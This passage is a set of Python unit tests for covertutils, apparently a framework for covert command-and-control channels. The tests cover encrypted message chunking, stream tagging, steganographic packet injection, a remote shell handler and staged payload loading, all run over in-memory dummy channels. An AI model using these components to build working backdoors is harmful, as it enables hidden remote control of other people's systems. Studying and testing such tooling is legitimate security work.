| 104 | def onChunk( self, stream, message ) : pass 105 | def onNotRecognised( self ) : pass 106 | def onMessage( self, stream, message ) : 107 | # print( "BufferingHandler : (%s: %s)" % ( stream, message ) ) 108 | super( IntermediateHandler, self ).onMessage( stream, message ) 109 | 110 | 111 | class Test_SimpleBridge( unittest.TestCase ) : 112 | 113 | def setUp( self ) : 114 | 115 | self.endHandler1 = EndHandler( recv = dummy_receive1, send = dummy_send2, orchestrator = orch1 ) 116 | self.bridgeHandler1 = IntermediateHandler( recv = dummy_receive2, send = dummy_send1, orchestrator = orch2 ) 117 | self.bridgeHandler2 = IntermediateHandler( recv = dummy_receive3, send = dummy_send4, orchestrator = orch3 ) 118 | self.startHandler = StartHandler( recv = dummy_receive4, send = dummy_send3, orchestrator = orch4 ) 119 | 120 | self.bridge = SimpleBridge( self.bridgeHandler1, self.bridgeHandler2 ) 121 | 122 | 123 | def test_one_way( self ) : 124 | data = "A"*100 125 | global start 126 | self.startHandler.sendAdHoc( data ) 127 | 128 | while not end : 129 | sleep(0.01) 130 | # print( start, end ) 131 | start = False 132 | self.assertTrue( data == end ) 133 | 134 | def test_two_way( self ) : 135 | data = "A"*1000 136 | global end 137 | self.startHandler.sendAdHoc( data ) 138 | 139 | while not start : 140 | sleep(0.01) 141 | # print( start, end ) 142 | end = False 143 | self.assertTrue( data == start ) 144 | 145 | def test_exception( self ) : 146 | try : 147 | bridge = SimpleBridge( None, self.startHandler ) 148 | test = False 149 | except TypeError : 150 | test = True 151 | 152 | self.assertTrue( test ) 153 | -------------------------------------------------------------------------------- /tests/test_ResponseOnlyHandler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers import BaseHandler, ResponseOnlyHandler 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | from os import urandom 7 | from time import sleep 8 | from hashlib import sha512 9 | import re 10 | 11 | 12 | out_length = 50 13 | in_length = 40 14 | 15 | passp = "passphrase" 16 | 17 | orch1 = SimpleOrchestrator( passp, 18 | 2, out_length, in_length, 19 | cycling_algorithm = sha512) 20 | 21 | orch2 = SimpleOrchestrator( passp, 22 | 2, out_length, in_length, 23 | cycling_algorithm = sha512, reverse = True) 24 | 25 | 26 | recvd1 = [] 27 | def dummy_receive1( ) : 28 | while not recvd1 : 29 | sleep(0.001) 30 | return recvd1.pop(0) 31 | 32 | def dummy_send1( raw ) : 33 | recvd1.append( raw ) 34 | 35 | 36 | recvd2 = [] 37 | def dummy_receive2( ) : 38 | while not recvd2 : 39 | sleep(0.001) 40 | return recvd2.pop(0) 41 | 42 | def dummy_send2( raw ) : 43 | recvd2.append( raw ) 44 | 45 | testable = False 46 | 47 | 48 | class CustomRespOnlyHandler( ResponseOnlyHandler ) : 49 | 50 | def onChunk( self, stream, message ) : pass 51 | def onNotRecognised( self ) : pass 52 | 53 | 54 | class CustomTestHandler( BaseHandler ) : 55 | 56 | def onChunk( self, stream, message ) : pass 57 | def onNotRecognised( self ) : pass 58 | def onMessage( self, stream, message ) : 59 | global testable 60 | testable = message 61 | 62 | 63 | class Test_ResponseOnlyHandler( unittest.TestCase ) : 64 | 65 | 66 | def setUp( self ) : 67 | self.p_handler = CustomRespOnlyHandler( recv = dummy_receive1, send = dummy_send2, orchestrator = orch2, ) 68 | self.test_handler = CustomTestHandler( dummy_receive2, dummy_send1, orch1 ) 69 | 70 | 71 | 72 | def test_functionality( self, n = 100, l = 10 ) : 73 | 74 | global testable 75 | for i in range(n) : 76 | message = urandom(l) 77 | self.p_handler.queueSend( message, 'control' ) 78 | self.assertTrue( testable == False ) 79 | 80 | self.test_handler.sendAdHoc( ResponseOnlyHandler.Defaults['request_data'] ) 81 | 82 | while testable == False : 83 | sleep(0.01) 84 | 85 | self.assertTrue( testable == message ) 86 | testable = False 87 | 88 | 89 | def test_multi_chunk( self, n = 10, l = 200 ) : 90 | 91 | global testable 92 | for i in range(n) : 93 | message1 = urandom(l) 94 | message2 = urandom(l) 95 | self.p_handler.queueSend( message1 ) 96 | self.p_handler.queueSend( message2, 'control' ) 97 | self.assertTrue( testable == False ) 98 | 99 | while testable == False : 100 | # print testable 101 | self.test_handler.sendAdHoc( ResponseOnlyHandler.Defaults['request_data'], 'control' ) 102 | sleep(0.01) 103 | 104 | 105 | self.assertTrue( testable == message1 ) 106 | # print "Passed 1" 107 | testable = False 108 | 109 | while testable == False : 110 | self.test_handler.sendAdHoc( ResponseOnlyHandler.Defaults['request_data'] ) 111 | sleep(0.01) 112 | while testable == False : 113 | sleep(0.01) 114 | 115 | self.assertTrue( testable == message2 ) 116 | testable = False 117 | # print "Passed 2" 118 | -------------------------------------------------------------------------------- /tests/test_SimpleShellHandler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers.impl import SimpleShellHandler 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | from os import urandom 7 | from time import sleep 8 | from hashlib import sha512 9 | import re 10 | out_length = 4 11 | in_length = 4 12 | 13 | 14 | orch1 = SimpleOrchestrator( "passphrase", 15 | 2, out_length, in_length, 16 | # cycling_algorithm = sha512 17 | ) 18 | 19 | orch2 = SimpleOrchestrator( "passphrase", 20 | 2, out_length, in_length, 21 | # cycling_algorithm = sha512, 22 | reverse = True) 23 | 24 | chunks = [] 25 | def dummy_receive( ) : 26 | while not chunks : 27 | sleep(0.1) 28 | # print "Receiving" 29 | return chunks.pop(0) 30 | 31 | 32 | testable = None 33 | 34 | def dummy_send( raw ) : 35 | global testable 36 | # print "sending!" 37 | stream, message = orch1.depositChunk( raw ) 38 | if message : 39 | testable = message 40 | 41 | 42 | 43 | class Test_ShellHandler (unittest.TestCase) : 44 | 45 | def setUp( self ) : 46 | self.p_handler = SimpleShellHandler( dummy_receive, dummy_send, orch2 ) 47 | 48 | def test_shell_usage( self, ) : 49 | echoed = '111111111111' 50 | chunk = orch1.readyMessage( "echo '%s' " % echoed ) # In SimpleShellHandler all communication goes through the 'control' stream 51 | 52 | chunks.extend( chunk ) 53 | # sleep(0.9) 54 | # print '=======================================================' 55 | # print testable 56 | while not testable : sleep(0.5) 57 | self.assertTrue( testable.strip() == echoed ) 58 | -------------------------------------------------------------------------------- /tests/test_StackOrchestrator.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pprint import pprint 4 | from os import urandom 5 | from random import randint, choice, shuffle 6 | from covertutils.orchestration import SimpleOrchestrator 7 | 8 | from hashlib import sha512 9 | 10 | 11 | class TestOrchestrator( unittest.TestCase ) : 12 | # pass 13 | streams = ['main', 'control'] 14 | 15 | def setUp( self ) : 16 | 17 | self.out_length = 10 18 | self.in_length = 11 19 | 20 | passp_ = "passphrase" 21 | self.orch1 = SimpleOrchestrator( passp_, 22 | 2, self.out_length, self.in_length, streams = ['main'], 23 | # cycling_algorithm = sha512 24 | ) 25 | self.orch2 = SimpleOrchestrator( passp_, 26 | 2, self.out_length, self.in_length, streams = ['main'], 27 | # cycling_algorithm = sha512, 28 | reverse = True) 29 | 30 | 31 | def test_readyMessage( self ) : 32 | 33 | payload = "A"*5 34 | chunks = self.orch1.readyMessage( payload ) 35 | 36 | 37 | def test_reset( self ) : 38 | self.orch1.reset() 39 | self.orch2.reset() 40 | 41 | 42 | def test_usage_simple_control( self ) : 43 | self.test_reset() 44 | l = randint(1,100) 45 | payload = urandom(l) 46 | chunks = self.orch1.readyMessage( payload ) 47 | 48 | for chunk in chunks : 49 | stream, ret = self.orch2.depositChunk( chunk ) 50 | self.assertTrue( payload == ret ) 51 | 52 | 53 | def test_length_consistency( self ) : 54 | self.test_reset() 55 | l = randint(1,100) 56 | payload = urandom(l) 57 | chunks = self.orch1.readyMessage( payload ) 58 | for c in chunks : 59 | self.assertTrue( len(c) == self.out_length ) 60 | 61 | 62 | 63 | def test_usage_simple_control( self ) : 64 | self.test_reset() 65 | 66 | l = randint(1,100) 67 | payload = urandom(l) 68 | chunks = self.orch1.readyMessage( payload, 'main' ) 69 | 70 | for chunk in chunks : 71 | stream, ret = self.orch2.depositChunk( chunk ) 72 | self.assertTrue( payload == ret ) 73 | 74 | self.assertTrue( stream == 'main' ) 75 | 76 | 77 | 78 | def test_stream_dict( self, n = 100, rep = 10 ) : 79 | byte_n = 0 80 | 81 | orch1 = self.orch1 82 | orch2 = self.orch2 83 | 84 | for repetition in range (rep) : 85 | self.test_reset() 86 | 87 | d = {} 88 | for s in self.streams : 89 | d[s] = '' 90 | 91 | 92 | for i in range(n) : 93 | s = choice( self.streams ) 94 | l = randint( 1, 100 ) 95 | pload = urandom( l ) 96 | byte_n += len( pload ) 97 | d[s] = pload 98 | # print( d ) 99 | 100 | 101 | chunks = [] 102 | for s in self.streams : 103 | chunks.extend( orch1.readyMessage(d[s], s) ) 104 | 105 | trash = [urandom( len(chunks[-1]) ) for i in range( n*2 )] 106 | 107 | for i in range( len(trash) ) : # Simulate fake packets 108 | index = randint( 1, len(chunks) ) 109 | chunks.insert( index, trash[i] ) 110 | 111 | for chunk in chunks : 112 | orch2.depositChunk( chunk ) 113 | 114 | d2 = orch2.getStreamDict() 115 | # pprint( d ) 116 | # print( '============' ) 117 | # pprint( d2 ) 118 | print( "[*] Round %d. Accumulated %d bytes" % ( repetition, byte_n ) ) 119 | self.assertTrue( d == d2 ) 120 | 121 | orch1, orch2 = orch2, orch1 122 | 123 | 124 | def test_key_differences( self ) : 125 | streams = ['main','secondary','easy','medium','hard'] 126 | orch = SimpleOrchestrator("passphrase1", streams = streams ) 127 | message = 'a'*16 128 | keys = [] 129 | stream_instances = orch.streams_buckets.values() 130 | for instance in stream_instances : 131 | keys.extend( instance['keys'].values() ) 132 | 133 | ciphertexts = set() 134 | for key in keys : 135 | ctext = key.encrypt( message ) 136 | ciphertexts.add( ctext ) 137 | # print( ctext ) 138 | 139 | print( "Generated %d keys and %d distinct ciphertexts" % (len(keys), len(ciphertexts)) ) 140 | self.assertTrue( len(ciphertexts) == len(keys) ) 141 | -------------------------------------------------------------------------------- /tests/test_StageableHandler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers.impl import SimpleShellHandler 4 | from covertutils.handlers import StageableHandler 5 | from covertutils.orchestration import SimpleOrchestrator 6 | from covertutils.payloads import GenericStages 7 | 8 | from os import urandom 9 | from time import sleep 10 | from hashlib import sha512 11 | import re 12 | out_length = 100 13 | in_length = 100 14 | 15 | 16 | orch1 = SimpleOrchestrator( "passphrase", 17 | 2, out_length, in_length, 18 | streams = ['main', 'control', 'stage'], 19 | # streams = ['main'] 20 | # cycling_algorithm = sha512 21 | ) 22 | 23 | orch2 = SimpleOrchestrator( "passphrase", 24 | 2, out_length, in_length, 25 | # cycling_algorithm = sha512, 26 | streams = ['main', 'control', 'stage'], 27 | # streams = ['main'], 28 | reverse = True) 29 | 30 | chunks = [] 31 | def dummy_receive( ) : 32 | while not chunks : 33 | sleep(0.1) 34 | 35 | print( "Receiving" ) 36 | return chunks.pop(0) 37 | 38 | 39 | testable = None 40 | 41 | def dummy_send( raw ) : 42 | global testable 43 | print( "sending!" ) 44 | stream, message = orch1.depositChunk( raw ) 45 | print( "Sent '%s' in %s" % ( message, stream ) ) 46 | if message : 47 | testable = message 48 | 49 | 50 | class AgentHandler( StageableHandler ) : 51 | 52 | def onMessage( self, stream, message ) : 53 | ret = super(AgentHandler, self).onMessage( stream, message ) 54 | print( message ) 55 | print( "Got: "+ret ) 56 | if ret not in self.orchestrator.getStreams() : 57 | self.preferred_send( ret, 'main' ) 58 | 59 | 60 | class Test_StageableHandler (unittest.TestCase) : 61 | 62 | def setUp( self ) : 63 | pls = { 64 | 'control' : GenericStages['shellprocess']['marshal'], 65 | 'main' : GenericStages['shellprocess']['marshal'], 66 | } 67 | self.p_handler = AgentHandler( dummy_receive, dummy_send, orch2, function_dict = pls ) 68 | print( self.p_handler.getOrchestrator().getStreams() ) 69 | 70 | def test_stage_addition( self, ) : 71 | 72 | r_stream = urandom(4).encode('hex') 73 | stage_obj = StageableHandler.createStageMessage(r_stream, GenericStages['echo']['marshal']) 74 | # print( self.p_handler.orchestrator.streams_buckets[self.p_handler.stage_stream] ) 75 | 76 | chunk = orch1.readyMessage( stage_obj, 'stage' ) 77 | # chunk = orch1.readyMessage( stage_obj, self.p_handler.stage_stream ) 78 | # chunk = orch1.readyMessage( stage_obj, 'stage') 79 | chunks.extend( chunk ) 80 | 81 | 82 | 83 | sleep(1) 84 | # while not 85 | echoed = '111111111111' 86 | orch1.addStream( r_stream ) 87 | chunk = orch1.readyMessage( echoed, r_stream ) 88 | 89 | chunks.extend( chunk ) 90 | 91 | # sleep(0.9) 92 | # print( '=======================================================' ) 93 | # print( testable ) 94 | while not testable : sleep(0.5) 95 | # sleep(1) 96 | print( chunks ) 97 | self.assertTrue( testable.strip() == echoed ) 98 | -------------------------------------------------------------------------------- /tests/test_StandardKeys.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.crypto.keys import * 4 | 5 | from os import urandom 6 | from random import randint 7 | from entropy import shannon_entropy as entr 8 | 9 | class TestKeys(unittest.TestCase) : 10 | 11 | plaintext = "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum" 12 | 13 | def setUp( self ) : 14 | pass 15 | 16 | 17 | def test_cycle_consistent( self, n = 10 ) : 18 | 19 | n = n*2 20 | pass_ = urandom( n ) 21 | k1 = StandardCyclingKey( pass_ ) 22 | 23 | k1.setCycle( n ) 24 | self.assertTrue( n == k1.getCycles() ) 25 | nth_key = k1.getKeyBytes() 26 | k1.reset() 27 | k1.cycle( n/2 ) 28 | self.assertTrue( n/2 == k1.getCycles() ) 29 | k1.cycle( n/2 ) 30 | 31 | nth_key_2 = k1.getKeyBytes() 32 | 33 | self.assertTrue( nth_key == nth_key_2 ) 34 | 35 | 36 | def test_random_passphrase( self, n = 4 ) : 37 | 38 | k1 = StandardCyclingKey( urandom(n) ) 39 | k2 = StandardCyclingKey( urandom(n) ) 40 | 41 | crypt1 = k1.xor(self.plaintext) 42 | crypt2 = k2.xor(self.plaintext) 43 | 44 | self.assertTrue( crypt1 != crypt2 ) 45 | 46 | 47 | def test_correct_passphrase( self, n = 64 ) : 48 | 49 | pass_ = urandom( n ) 50 | k1 = StandardCyclingKey( pass_ ) 51 | k2 = StandardCyclingKey( pass_ ) 52 | 53 | crypt1 = k1.xor(self.plaintext) 54 | plain = k2.xor(crypt1) 55 | # print plain[-10:], self.plaintext[-10:] 56 | self.assertTrue( plain == self.plaintext ) 57 | 58 | 59 | def test_small_char( self, n = 32 ) : 60 | 61 | data = 'a' 62 | pass_ = urandom( n ) 63 | k1 = StandardCyclingKey( pass_ ) 64 | k2 = StandardCyclingKey( pass_ ) 65 | 66 | encrypted_list = [] 67 | for i in range( n ) : 68 | # print k1.getCycles(), k1.getKeyBytes().encode('hex') 69 | encr = k1.encrypt( data ) 70 | # print encr.encode('hex') 71 | encrypted_list.append( encr ) 72 | encrypted = set (encrypted_list) 73 | self.assertTrue( len(encrypted) > 1) 74 | 75 | print 76 | for encr in encrypted_list : 77 | # print k2.getCycles(), k2.getKeyBytes().encode('hex') 78 | decr = k2.decrypt( encr ) 79 | # print encr.encode('hex') 80 | 81 | self.assertTrue( decr == 'a' ) 82 | 83 | 84 | def test_not_cycling( self ) : 85 | k1 = StandardCyclingKey( "pass", cycle = False ) 86 | message = "A" * 16 87 | ctext1 = k1.encrypt( message ) 88 | ctext2 = k1.encrypt( message ) 89 | 90 | 91 | ctext3 = k1.encrypt( message*32 ) 92 | ctext4 = k1.encrypt( message*32 ) 93 | # print ctext1.encode('hex') 94 | # print ctext2.encode('hex') 95 | self.assertTrue( ctext2 == ctext1 ) 96 | 97 | self.assertTrue( ctext3 == ctext4 ) 98 | -------------------------------------------------------------------------------- /tests/test_StegoOrchestrator.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.orchestration import StegoOrchestrator 4 | from covertutils.datamanipulation import StegoInjector 5 | 6 | 7 | from random import randint 8 | from os import urandom 9 | 10 | 11 | class Test_StegoOrchestrator( unittest.TestCase ) : 12 | 13 | 14 | alt_configuration = [( ('simple_alt:X','simple_alt:X'),('!H','!H'), '_data_+1' )] 15 | 16 | stego_conf = """ 17 | X:_data_: 18 | Y:_data_: 19 | Z:_data_: 20 | 21 | simple='''4142XXXXXXXXYYYYYYYY4344''' 22 | 23 | simple_alt='''41420000000000000000XXXX''' 24 | """ 25 | 26 | 27 | def setUp(self) : 28 | 29 | self.orch1 = StegoOrchestrator( "a", self.stego_conf, "simple", streams = ['main'] ) 30 | self.orch2 = StegoOrchestrator( "a", self.stego_conf, "simple", streams = ['main'], reverse = True ) 31 | 32 | self.orch3 = StegoOrchestrator( "a", self.stego_conf, "simple", self.alt_configuration, streams = ['main']) 33 | self.orch4 = StegoOrchestrator( "a", self.stego_conf, "simple", self.alt_configuration, streams = ['main'], reverse = True ) 34 | 35 | 36 | def test_functionality( self, n = 30, l = 40 ) : 37 | 38 | for i in range(n) : 39 | 40 | ldata = randint(1,l) 41 | data = urandom( ldata ) 42 | 43 | chunks = self.orch1.readyMessage( data, 'main' ) 44 | # print chunks[0].encode('hex') 45 | 46 | for chunk in chunks : 47 | stream, message = self.orch2.depositChunk( chunk ) 48 | # print stream, chunk, message 49 | assert stream != None 50 | 51 | # print message.encode('hex'), data.encode('hex') 52 | self.assertTrue( data == message ) 53 | 54 | 55 | 56 | def test_transformation( self ) : 57 | 58 | data = "0"*5 59 | 60 | chunks = self.orch3.readyMessage( data, 'main' ) 61 | # print chunks[0].encode('hex') 62 | 63 | for chunk in chunks : 64 | stream, message = self.orch2.depositChunk( chunk ) 65 | # print chunk 66 | self.assertTrue( chunk.encode('hex')[-4:] == '4345' ) # Testing the alteration 67 | 68 | # print stream ,message 69 | self.assertTrue( data == message ) 70 | 71 | 72 | 73 | 74 | def test_intermediate_function( self ) : 75 | 76 | 77 | stego_conf = """ 78 | X:_data_: 79 | Y:_data_: 80 | Z:_data_: 81 | 82 | simple='''4142XXXXXXXXYYYYYYYY4344''' 83 | 84 | simple_alt='''41420000000000000000XXXX''' 85 | """ 86 | 87 | orch1 = StegoOrchestrator( "a", stego_conf, "simple", hex_inject = True, streams = ['main'] ) 88 | chunks = orch1.readyMessage( "a", 'main' ) 89 | 90 | # print chunks 91 | -------------------------------------------------------------------------------- /tests/test_StreamIdentifier.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from os import urandom 4 | from random import randint 5 | from covertutils.orchestration import StreamIdentifier 6 | 7 | from random import choice 8 | 9 | 10 | from hashlib import sha512 11 | 12 | class TestStreamIdentifier( unittest.TestCase ) : 13 | 14 | def setUp( self, 15 | streams = ["main", 'shellcode', 'control']) : 16 | 17 | passp = urandom(10) 18 | # passp = 'pass' 19 | 20 | self.id_1 = StreamIdentifier( passp, 21 | stream_list = streams, 22 | cycling_algorithm = sha512 23 | ) 24 | self.id_2 = StreamIdentifier( passp, 25 | stream_list = streams, 26 | cycling_algorithm = sha512, 27 | reverse = True 28 | ) 29 | 30 | for s in ( 'easy', 'medium', 'hard' ) : 31 | self.id_2.addStream(s) 32 | self.id_1.addStream(s) 33 | 34 | self.streams = self.id_1.getStreams() 35 | self.streams.remove('control') 36 | 37 | 38 | def testGuess( self, n = 100 ) : 39 | idents = (self.id_1, self.id_2) 40 | 41 | for i in range(n) : 42 | chosen = randint(1, 100) % 2 43 | checker = 1 - chosen 44 | ident1 = idents[chosen] 45 | ident2 = idents[checker] 46 | stream = choice ( self.streams ) 47 | tag = ident1.getIdentifierForStream( stream, 2 ) 48 | 49 | guess = ident2.checkIdentifier(tag) 50 | 51 | print( "%s) Tagger:%d. [%s] - %s > %s" % ( i, chosen, stream, guess, tag.encode('hex') ) ) 52 | self.assertTrue( stream == guess ) 53 | -------------------------------------------------------------------------------- /tests/test_adhocchunker.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from os import urandom 4 | from random import randint, choice 5 | from covertutils.datamanipulation import AdHocChunker 6 | import string 7 | 8 | random_bytes = urandom(64) 9 | letters = string.ascii_letters 10 | 11 | class Test_AdHocChunker( unittest.TestCase ) : 12 | 13 | def setUp( self ) : 14 | self.c = AdHocChunker() 15 | 16 | 17 | 18 | def test_chunkConsistency( self, n = 519, size = 514 ) : 19 | 20 | for i in range( 5, n ) : 21 | # print i 22 | data = urandom(i) 23 | chunks = self.c.chunkMessage( data, size ) 24 | for chunk in chunks : 25 | # print chunk.encode('hex'), len(chunk) 26 | self.assertTrue( len(chunk) == size ) 27 | 28 | 29 | 30 | def test_deChunkConsistency( self, n = 514, size = 10 ) : 31 | 32 | for i in range( 2, n ) : 33 | # print i 34 | # data = urandom(i) 35 | data = "A"*i 36 | # print "Data: %s" % data.encode('hex') 37 | chunks = self.c.chunkMessage( data, size ) 38 | for chunk in chunks : 39 | # print "Chunk: %s" % chunk.encode('hex') 40 | status, ret = self.c.deChunkMessage( chunk ) 41 | # print data.encode('hex'), ret.encode('hex'), len(ret) 42 | self.assertTrue( data == ret ) 43 | -------------------------------------------------------------------------------- /tests/test_multi_inheritance_handler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | from covertutils.handlers import * 3 | from covertutils.orchestration import SimpleOrchestrator 4 | # from covertutils.Handlers.BaseHandler import BaseHandler 5 | 6 | out_len = 100 7 | in_len = 100 8 | 9 | 10 | 11 | from covertutils.payloads import GenericStages 12 | 13 | 14 | fdict = { 15 | 'control' : GenericStages['shellprocess']['marshal'], 16 | 'main' : GenericStages['shellprocess']['marshal'], 17 | } 18 | 19 | 20 | # http://stackoverflow.com/questions/34884567/python-multiple-inheritance-passing-arguments-to-constructors-using-super 21 | 22 | def recv( ) : 23 | return '1' 24 | 25 | 26 | def send( raw ) : 27 | return None 28 | 29 | orch2 = SimpleOrchestrator("pass!", 4, out_len, in_len , reverse = True) 30 | 31 | class MyHandler( FunctionDictHandler, InterrogatingHandler, ResponseOnlyHandler ) : 32 | 33 | 34 | def __init__( self, recv, send, orch, delay = None, function_dict = None ) : 35 | 36 | super(MyHandler, self).__init__( recv, send, orch, delay_between = delay, function_dict = fdict, fetch_stream = 'control' ) 37 | 38 | # InterrogatingHandler.__init__( self, recv, send, orch, delay_between = delay, function_dict = fdict, fetch_stream = 'control' ) 39 | # FunctionDictHandler.__init__( self, recv, send, orch, function_dict = fdict ) 40 | 41 | 42 | def onChunk( self, stream, message ) : pass 43 | def onMessage( self, stream, message ) : pass 44 | def onNotRecognised( self ) : pass 45 | 46 | 47 | 48 | class test_MultiInheritance( unittest.TestCase ) : 49 | 50 | 51 | def test_implementation( self ) : 52 | # handler = MyHandler() 53 | handler = MyHandler( recv = recv, send = send, orch = orch2, ) 54 | --------------------------------------------------------------------------------